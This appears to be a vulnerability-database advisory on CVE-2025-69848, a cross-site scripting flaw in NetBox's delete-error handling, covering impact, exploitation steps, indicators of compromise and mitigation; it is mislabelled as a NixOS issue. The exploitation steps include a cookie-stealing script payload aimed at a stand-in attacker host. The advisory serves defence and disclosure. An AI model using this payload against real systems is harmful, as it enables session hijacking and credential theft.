CVE-2025-69848: 
NixOS vulnerability analysis and mitigation

Overview

CVE-2025-69848 is a reflected cross-site scripting (XSS) vulnerability in NetBox, an open-source infrastructure resource modeling and IP address management platform. The flaw exists in the ProtectedError handling logic, where object names are included in HTML error messages without proper HTML escaping, allowing user-controlled content to be rendered in the web interface. It affects NetBox versions 2.11.0 through 3.7.8 (inclusive). The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, GitHub NetBox).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). When a delete operation on a NetBox object fails due to protected relationships, the application generates an error message that includes the object's name directly in the HTML response without sanitization or escaping. An authenticated attacker with low privileges can create an object whose name contains malicious JavaScript; when a privileged user attempts to delete that object and triggers the ProtectedError, the injected script executes in the victim's browser context. The attack vector is network-based, requires low privileges, and requires user interaction (a privileged user triggering the delete operation) (Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary client-side JavaScript in the browser session of a privileged NetBox user, enabling session hijacking, credential theft, and unauthorized actions performed on behalf of the victim. Because the injected code runs in the context of a privileged user, an attacker could potentially escalate their effective access within the NetBox application, modify infrastructure records, or exfiltrate sensitive network topology and IP address management data. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Feedly).

Exploitability

A proof-of-concept exploit is publicly available on GitHub (PoC GitHub), added to tracking on March 2, 2026. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.024%, reflecting a low probability of exploitation in the near term (Feedly).

Exploitation steps

  1. Reconnaissance: Identify a target NetBox instance running versions 2.11.0 through 3.7.8 that is accessible over the network.
  2. Authenticate with low-privilege account: Log in to NetBox using any valid low-privilege user account that has permission to create objects (e.g., devices, IP addresses, or other managed resources).
  3. Create a malicious object: Create a NetBox object (e.g., a device, site, or IP address) and set its name to a JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a similar XSS string.
  4. Establish a protected relationship: Ensure the malicious object has at least one protected relationship (e.g., link it to another object so it cannot be directly deleted).
  5. Trigger the ProtectedError: Induce or wait for a privileged user (e.g., an administrator) to attempt to delete the malicious object. This can be done by social engineering or by placing the object in a location where administrators routinely perform cleanup.
  6. XSS payload executes: When the delete operation fails, NetBox renders the ProtectedError message including the unescaped object name, causing the injected JavaScript to execute in the privileged user's browser, potentially stealing session cookies or performing actions on their behalf (Feedly, PoC GitHub).

Indicators of compromise

  • Logs: Web server or application access logs showing HTTP responses to delete endpoints (e.g., /dcim/devices/<id>/delete/) that return ProtectedError pages; look for object names containing HTML special characters (<, >, ", ', /) or JavaScript keywords (script, onerror, onload, alert, document.cookie).
  • Network: Outbound requests from the NetBox server's client browsers to unexpected external domains shortly after delete operation attempts, potentially carrying session tokens or cookies as query parameters.
  • Application Behavior: Unusual actions performed under privileged user accounts (e.g., new user creation, permission changes, bulk data exports) that the user did not initiate, potentially indicating session hijacking following XSS exploitation.
  • File System / Database: NetBox object records with names containing HTML tags or JavaScript syntax — query the database for object names matching patterns like %<script%, %javascript:%, or %onerror%.

Mitigation and workarounds

Upgrade NetBox to a version beyond 3.7.8 that includes the fix for this vulnerability; the NetBox project has released versions up to v4.6.2 as of June 2026 (GitHub NetBox). Until patching is possible, restrict delete operation permissions to only the minimum necessary administrative users to reduce the attack surface. Additionally, implement a strict Content Security Policy (CSP) header on the NetBox web interface to limit the impact of any XSS execution, and monitor web access logs for delete operations that trigger ProtectedError responses containing suspicious object names (Feedly).

Additional resources


Source: This report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-116199CRITICAL9.2
  • NixOS logoNixOS
  • cpe:2.3:a:snipeitapp:snipe-it
NoYesOct 25, 2026
CVE-2026-116201HIGH8.7
  • NixOS logoNixOS
  • cpe:2.3:a:snipeitapp:snipe-it
NoYesOct 25, 2026
CVE-2026-116200HIGH8.2
  • NixOS logoNixOS
  • cpe:2.3:a:snipeitapp:snipe-it
NoYesOct 25, 2026
CVE-2026-2270MEDIUM5.9
  • NixOS logoNixOS
  • kubernetes
NoYesOct 26, 2026
CVE-2026-76654MEDIUM5.8
  • NixOS logoNixOS
  • cpe:2.3:a:kubernetes:kubernetes
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management